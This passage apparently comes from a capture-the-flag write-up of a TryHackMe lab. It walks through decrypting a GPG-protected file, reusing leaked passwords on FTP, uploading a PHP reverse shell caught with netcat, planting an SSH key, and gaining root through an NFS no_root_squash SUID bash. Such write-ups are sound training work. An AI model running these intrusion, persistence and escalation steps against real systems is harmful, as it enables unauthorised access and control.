Decrypting the CustomerDetails.xlsx.gpg file using the priv.key:
$ gpg --import priv.key
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ gpg -d CustomerDetails.xlsx.gpg > CustomerDetails.xlsx
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
"Paradox <paradox@overpass.thm>"
$ file CustomerDetails.xlsx
CustomerDetails.xlsx: Microsoft Excel 2007+
By opening the file using excel, we get the password of few accounts:
Login into FTP
By using the passwords recently found, we can try to login into to ftp server.
P.S: The passwords didn't work for ssh.
Login as paradox
(Other two accounts didn't work.)
$ ftp 10.10.213.153
Connected to 10.10.213.153.
220 (vsFTPd 3.0.3)
Name (10.10.213.153:root): paradox
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 48 48 24 Nov 08 2020 backups
-rw-r--r-- 1 0 0 65591 Nov 17 2020 hallway.jpg
-rw-r--r-- 1 0 0 1770 Nov 17 2020 index.html
-rw-r--r-- 1 0 0 576 Nov 17 2020 main.css
-rw-r--r-- 1 0 0 2511 Nov 17 2020 overpass.svg
226 Directory send OK.
ftp> cd backups
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 48 48 24 Nov 08 2020 .
drwxrwxrwx 3 48 48 94 Nov 17 2020 ..
-rw-r--r-- 1 48 48 13353 Nov 08 2020 backup.zip
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
The files in this folder seems to be the web directory.
If we upload anything to this folder, then we can access it in the browser!
May be we should upload reverse-shell.php to this folder.
P.S: Make sure to change the IP address and port number.
ftp> put php-reverse-shell.php reverse-shell.php
local: php-reverse-shell.php remote: reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (29.5908 MB/s)
Initial shell
Listen on the appropriate port using netcat.
Visit http://10.10.213.153/reverse-shell.php on the browser to get a reverse shell.
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.213.153] 44754
Linux localhost.localdomain 4.18.0-193.el8.x86_64 #1 SMP Fri May 8 10:59:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
18:32:57 up 45 min, 0 users, load average: 0.00, 0.00, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (858): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
apache
But the port 2049 is not open on the victim machine. We get the following errors:
$ rpcinfo -p 10.10.213.153
10.10.213.153: RPC: Remote system error - No route to host
$ showmount -e 10.10.213.153
clnt_create: RPC: Unable to receive
Hence we must do port forwarding to exploit no_root_squash. (I didn't know how to proceed furher, so read a walkthrough to learn more about port forwarding.)
You can use SSH or Chisel for port forwarding.
SSH Port forwarding
Added ssh public key to the .ssh/authorized_keys file of paradox user.
[paradox@localhost ~]$ cd .ssh/
[paradox@localhost .ssh]$ ls
authorized_keys id_rsa.pub
[paradox@localhost .ssh]$ echo "PUBLIC KEY" >> authorized_keys
[paradox@localhost .ssh]$ cat authorized_keys
PUBLIC KEYS
Check if you can login using the private key:
$ ssh -i ~/.ssh/id_rsa paradox@10.10.213.153
Last login: Thu May 20 19:45:53 2021
[paradox@localhost ~]$ whoami
paradox
Reading more about no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
So, we'll copy /bin/bash into the NFS and set SUID bit:
root@kali:/mnt/jamesNFS# cp /bin/bash .
root@kali:/mnt/jamesNFS# chmod +s bash
root@kali:/mnt/jamesNFS# ls -la
total 1228
drwx------ 3 ds ds 124 May 21 00:38 .
drwxr-xr-x 4 root root 4096 May 20 23:34 ..
-rwsr-sr-x 1 root root 1234376 May 21 00:38 bash
lrwxrwxrwx 1 root root 9 Nov 9 2020 .bash_history -> /dev/null
-rw-r--r-- 1 ds ds 18 Nov 8 2019 .bash_logout
-rw-r--r-- 1 ds ds 141 Nov 8 2019 .bash_profile
-rw-r--r-- 1 ds ds 312 Nov 8 2019 .bashrc
drwx------ 2 ds ds 61 Nov 8 2020 .ssh
-rw------- 1 ds ds 38 Nov 18 2020 user.flag
SSH login & Priv Esc
$ ssh -i james_idrsa james@10.10.213.153
Last failed login: Thu May 20 19:02:18 BST 2021 on pts/0
There were 5 failed login attempts since the last successful login.
Last login: Wed Nov 18 18:26:00 2020 from 192.168.170.145
[james@localhost ~]$ whoami
james
[james@localhost ~]$ ls
bash user.flag
[james@localhost ~]$ hostname && whoami && cat user.flag
localhost.localdomain
james
thm{REDACTED}
[james@localhost ~]$ ./bash -p
./bash: /lib64/libtinfo.so.6: no version information available (required by ./bash)
bash-5.1# whoami
root
Root Flag
bash-5.1# cd /root/
bash-5.1# ls
root.flag
bash-5.1# hostname && whoami && cat root.flag
localhost.localdomain
root
thm{REDACTED}
